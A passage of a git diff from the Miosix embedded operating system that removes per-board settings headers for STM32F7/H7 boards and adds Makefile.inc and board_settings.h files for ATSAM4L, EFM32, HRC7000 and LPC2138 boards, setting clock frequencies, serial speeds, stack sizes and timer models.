the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=19200; -//#define SERIAL_1_DMA -//#define SERIAL_2_DMA -//#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -//#define SD_ONE_BIT_DATABUS //All data lines are connected - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32f7/stm32f746zg_nucleo/board_settings.h b/miosix/config/arch/cortexM7_stm32f7/stm32f746zg_nucleo/board_settings.h deleted file mode 100644 index c861f22e4..000000000 --- a/miosix/config/arch/cortexM7_stm32f7/stm32f746zg_nucleo/board_settings.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerialSpeed=115200; -// #define SERIAL_1_DMA -// #define SERIAL_2_DMA -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus -#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/board_settings.h b/miosix/config/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/board_settings.h deleted file mode 100644 index 10af26ca2..000000000 --- a/miosix/config/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/board_settings.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerialSpeed=115200; -// #define SERIAL_1_DMA -// #define SERIAL_2_DMA -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -// #define SD_ONE_BIT_DATABUS -#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 - -/** - * \} - */ - -} // namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32f7/stm32f767zi_nucleo/board_settings.h b/miosix/config/arch/cortexM7_stm32f7/stm32f767zi_nucleo/board_settings.h deleted file mode 100644 index 10af26ca2..000000000 --- a/miosix/config/arch/cortexM7_stm32f7/stm32f767zi_nucleo/board_settings.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerialSpeed=115200; -// #define SERIAL_1_DMA -// #define SERIAL_2_DMA -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -// #define SD_ONE_BIT_DATABUS -#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 - -/** - * \} - */ - -} // namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32f7/stm32f769ni_discovery/board_settings.h b/miosix/config/arch/cortexM7_stm32f7/stm32f769ni_discovery/board_settings.h deleted file mode 100644 index 624be9d00..000000000 --- a/miosix/config/arch/cortexM7_stm32f7/stm32f769ni_discovery/board_settings.h +++ /dev/null @@ -1,63 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=115200; -#define SERIAL_1_DMA -// #define SERIAL_2_DMA -// #define SERIAL_3_DMA - -// SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -// #define SD_ONE_BIT_DATABUS -#define SD_SDMMC 2 //Select either SDMMC1 or SDMMC2 - -/** - * \} - */ - -} // namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32h7/stm32h723zg_nucleo/board_settings.h b/miosix/config/arch/cortexM7_stm32h7/stm32h723zg_nucleo/board_settings.h deleted file mode 100644 index 5078fc785..000000000 --- a/miosix/config/arch/cortexM7_stm32h7/stm32h723zg_nucleo/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -//This board only exposes USART1, without flow control -const unsigned int defaultSerialSpeed=115200; -const unsigned int defaultSerialPort=3; -// #define SERIAL_1_DMA -// #define SERIAL_2_DMA -// #define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32h7/stm32h753xi_eval/board_settings.h b/miosix/config/arch/cortexM7_stm32h7/stm32h753xi_eval/board_settings.h deleted file mode 100644 index 26f0d7859..000000000 --- a/miosix/config/arch/cortexM7_stm32h7/stm32h753xi_eval/board_settings.h +++ /dev/null @@ -1,63 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -//This board only exposes USART1, without flow control -const unsigned int defaultSerialSpeed=115200; -// #define SERIAL_1_DMA -// #define SERIAL_2_DMA -// #define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM7_stm32h7/stm32h755zi_nucleo/board_settings.h b/miosix/config/arch/cortexM7_stm32h7/stm32h755zi_nucleo/board_settings.h deleted file mode 100644 index 99cc2e451..000000000 --- a/miosix/config/arch/cortexM7_stm32h7/stm32h755zi_nucleo/board_settings.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -//This board only exposes USART1, without flow control -const unsigned int defaultSerialSpeed=115200; -const unsigned int defaultSerialPort=3; -// #define SERIAL_1_DMA -// #define SERIAL_2_DMA -#define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 -#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/board/atsam4lc2aa_generic/Makefile.inc b/miosix/config/board/atsam4lc2aa_generic/Makefile.inc new file mode 100644 index 000000000..3da6a6491 --- /dev/null +++ b/miosix/config/board/atsam4lc2aa_generic/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board atsam4lc2aa_generic +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/atsam4lc2aa_generic/board_settings.h b/miosix/config/board/atsam4lc2aa_generic/board_settings.h new file mode 100644 index 000000000..e518da660 --- /dev/null +++ b/miosix/config/board/atsam4lc2aa_generic/board_settings.h @@ -0,0 +1,72 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Select oscillator speed at startup. Currently supported configurations are +/// 4, 8, 12MHz, all using RCFAST +/// NOTE: when flashing with a debugger need to powercycle between clock changes +/// NOTE: 4MHz oscillator is too imprecise for serial port to work +constexpr unsigned int cpuFrequency=12000000; + +/// If this is NOT defined, start32kHzOscillator() starts the 32kHz crystal +/// oscillator, so you need a quarts crystal attached to the proper pins. +/// If this IS defined, start32kHzOscillator() falls back to the internal RC osc +//#define USE_RC_32K_OSCILLATOR + +/// Use AST as os_timer instead of TC1. This requires a 32kHz crystal to be +/// connected to the board, reduces timing resolution to only 16kHz and makes +/// context switches much slower but the os easily keeps time across deep sleeps +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// atsam4lc2aa only has 32KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Serial port +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/efm32g222f128_generic/Makefile.inc b/miosix/config/board/efm32g222f128_generic/Makefile.inc new file mode 100644 index 000000000..7f33d7875 --- /dev/null +++ b/miosix/config/board/efm32g222f128_generic/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board efm32g222f128_generic +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/efm32g222f128_generic/board_settings.h b/miosix/config/board/efm32g222f128_generic/board_settings.h new file mode 100644 index 000000000..663c1dc35 --- /dev/null +++ b/miosix/config/board/efm32g222f128_generic/board_settings.h @@ -0,0 +1,61 @@ +/*************************************************************************** + * Copyright (C) 2015-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +const unsigned int MAIN_STACK_SIZE=2048; + +/// Clock options +enum class OscillatorType { HFRCO, HFXO }; +constexpr auto oscillatorType=OscillatorType::HFRCO; +constexpr unsigned int oscillatorFrequency=28000000; +constexpr unsigned int cpuFrequency=oscillatorFrequency; +constexpr unsigned int peripheralFrequency=oscillatorFrequency; + +/// Serial port +const unsigned int defaultSerial=0; +const unsigned int defaultSerialSpeed=115200; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/efm32gg332f1024_wandstem/Makefile.inc b/miosix/config/board/efm32gg332f1024_wandstem/Makefile.inc new file mode 100644 index 000000000..ebec6813d --- /dev/null +++ b/miosix/config/board/efm32gg332f1024_wandstem/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board efm32gg332f1024_wandstem +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/efm32gg332f1024_wandstem/board_settings.h b/miosix/config/board/efm32gg332f1024_wandstem/board_settings.h new file mode 100644 index 000000000..bedee5ff9 --- /dev/null +++ b/miosix/config/board/efm32gg332f1024_wandstem/board_settings.h @@ -0,0 +1,78 @@ +/*************************************************************************** + * Copyright (C) 2015-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +/** + * Select hardware revision (10=1.0, 11=1.1, ...). + * Different versions of the board were built, with minor differences in GPIO + * usage. Default is currently the latest one, which is v1.4 + */ +#define WANDSTEM_HW_REV 14 + +/** + * Disable FLOPSYNCVHT support in the board support package. + * Note that for best clock skew correction you should avoid entering the + * deep sleep state if you disable FLOSPYNCVHT + */ +// #define DISABLE_FLOPSYNCVHT + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +const unsigned int MAIN_STACK_SIZE=4096; + +/// Clock options +enum class OscillatorType { HFRCO, HFXO }; +constexpr auto oscillatorType=OscillatorType::HFXO; +constexpr unsigned int oscillatorFrequency=48000000; +constexpr unsigned int cpuFrequency=oscillatorFrequency; +constexpr unsigned int peripheralFrequency=oscillatorFrequency; +enum class RtcOscillatorType { NONE, LFRCO, LFXO }; +constexpr auto rtcOscillatorType=RtcOscillatorType::LFXO; +constexpr unsigned int rtcOscillatorFrequency=32768; + +/// Serial port +const unsigned int defaultSerial=0; +const unsigned int defaultSerialSpeed=115200; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/hrc7000_hd2/board_settings.h b/miosix/config/board/hrc7000_hd2/board_settings.h new file mode 100644 index 000000000..9597b7fdf --- /dev/null +++ b/miosix/config/board/hrc7000_hd2/board_settings.h @@ -0,0 +1,46 @@ +/*************************************************************************** + * Board settings for the Ailunce HD2 (HR_C7000 / CK803S). * + * GPL v2+ with the Miosix linking exception. * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Clock frequencies after IRQmemoryAndClockInit(). +/// NOTE: the authoritative OS-timer frequency is HRC7000_TIMER_HZ (42 MHz, measured, +/// in arch_registers_impl.h) — the os_timer and delays use that directly. These +/// constants are informational / for any driver that references them. +constexpr unsigned int peripheralFrequency=42000000; ///< DW_apb_timers input clk +constexpr unsigned int cpuFrequency=42000000; ///< CK803S core (post-PLL) + +/// Serial port baudrate (the IAP/loader UART0 runs 57600 8N1 — used once a +/// console driver is wired). +const unsigned int SERIAL_PORT_SPEED=57600; + +/// Size of stack for main(). 192 KiB of internal SRAM leaves ample room; the C +/// library is stack-heavy (iprintf ~1.5 KB), so keep a comfortable 4 KB. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// \def OS_TIMER_MODEL_UNIFIED +/// The HD2 uses the unified single-core timer model: the custom os_timer +/// (hr_c7000_os_timer.cpp) drives both wakeup and preemption through +/// IRQosTimerSetInterrupt(), so IRQosTimerSetPreemption() is not needed. +#define OS_TIMER_MODEL_UNIFIED + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/lpc2138_generic/Makefile.inc b/miosix/config/board/lpc2138_generic/Makefile.inc new file mode 100644 index 000000000..2fadca054 --- /dev/null +++ b/miosix/config/board/lpc2138_generic/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board lpc2138_generic +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/lpc2138_generic/board_settings.h b/miosix/config/board/lpc2138_generic/board_settings.h new file mode 100644 index 000000000..bd3664ee7 --- /dev/null +++ b/miosix/config/board/lpc2138_generic/board_settings.h @@ -0,0 +1,67 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +constexpr unsigned int oscillatorFrequency=14745600; +constexpr unsigned int cpuFrequency=oscillatorFrequency*4; //Supported x1, x2, x4 +constexpr unsigned int peripheralFrequency=cpuFrequency/4; //Can divide by 1, 2, 4 + +/// Serial port baudrate +const unsigned int SERIAL_PORT_SPEED=115200; + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// LPC2138 has 32KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// \def OS_TIMER_MODEL_UNIFIED +/// Overrides the timer model choice in miosix_settings.h. The LPC2138 provides +/// only 2 hardware timers, so while the separate timer model can be +/// implemented, it would use all the avavilable timers leaving none to +/// applications. For this reason, we only support the unified timer model +/// for this chip. +#define OS_TIMER_MODEL_UNIFIED + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/lpc2138_miosix_board/Makefile.inc b/miosix/config/board/lpc2138_miosix_board/Makefile.inc new file mode 100644 index 000000000..4923e0dd9 --- /dev/null +++ b/miosix/config/board/lpc2138_miosix_board/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board lpc2138_miosix_board +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/lpc2138_miosix_board/board_settings.h b/miosix/config/board/lpc2138_miosix_board/board_settings.h new file mode 100644 index 000000000..17003e502 --- /dev/null +++ b/miosix/config/board/lpc2138_miosix_board/board_settings.h @@ -0,0 +1,85 @@ +/*************************************************************************** + * Copyright (C) 2010-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +constexpr unsigned int oscillatorFrequency=14745600; +constexpr unsigned int cpuFrequency=oscillatorFrequency*4; //Supported x1, x2, x4 +constexpr unsigned int peripheralFrequency=cpuFrequency/4; //Can divide by 1, 2, 4 + +/// Serial port baudrate +const unsigned int SERIAL_PORT_SPEED=115200; + +/// Uncomment to enable USART1 as well. This is only possible if WITH_DEVFS is +/// defined in miosix_settings.h The device will appear as /dev/auxtty. +//#define AUX_SERIAL "auxtty" + +/// Aux serial port baudrate +const unsigned int AUX_SERIAL_SPEED=9600; + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// LPC2138 has 32KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// \def WITH_RTC +/// Uncomment to enable support for RTC. Time-related functions depend on it. +/// By default it is defined (RTC is active) +#define WITH_RTC + +/// \def WAKEUP_DELAY +/// Uncomment if you want that to resume after shutdown, the user must hold down +/// the button for two seconds. Comment if you want instant resume. +/// By default it is not defined (no wakeup delay) +//#define WAKEUP_DELAY + +/// \def OS_TIMER_MODEL_UNIFIED +/// Overrides the timer model choice in miosix_settings.h. The LPC2138 provides +/// only 2 hardware timers, so while the separate timer model can be +/// implemented, it would use all the avavilable timers leaving none to +/// applications. For this reason, we only support the unified timer model +/// for this chip. +#define OS_TIMER_MODEL_UNIFIED + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/nrf52840_generic/Makefile.inc b/miosix/config/board/nrf52840_generic/Makefile.inc new file mode 100644 index 000000000..c63cef33c --- /dev/null +++ b/miosix/config/board/nrf52840_generic/Makefile.inc @@ -0,0 +1,6 @@ +## +## 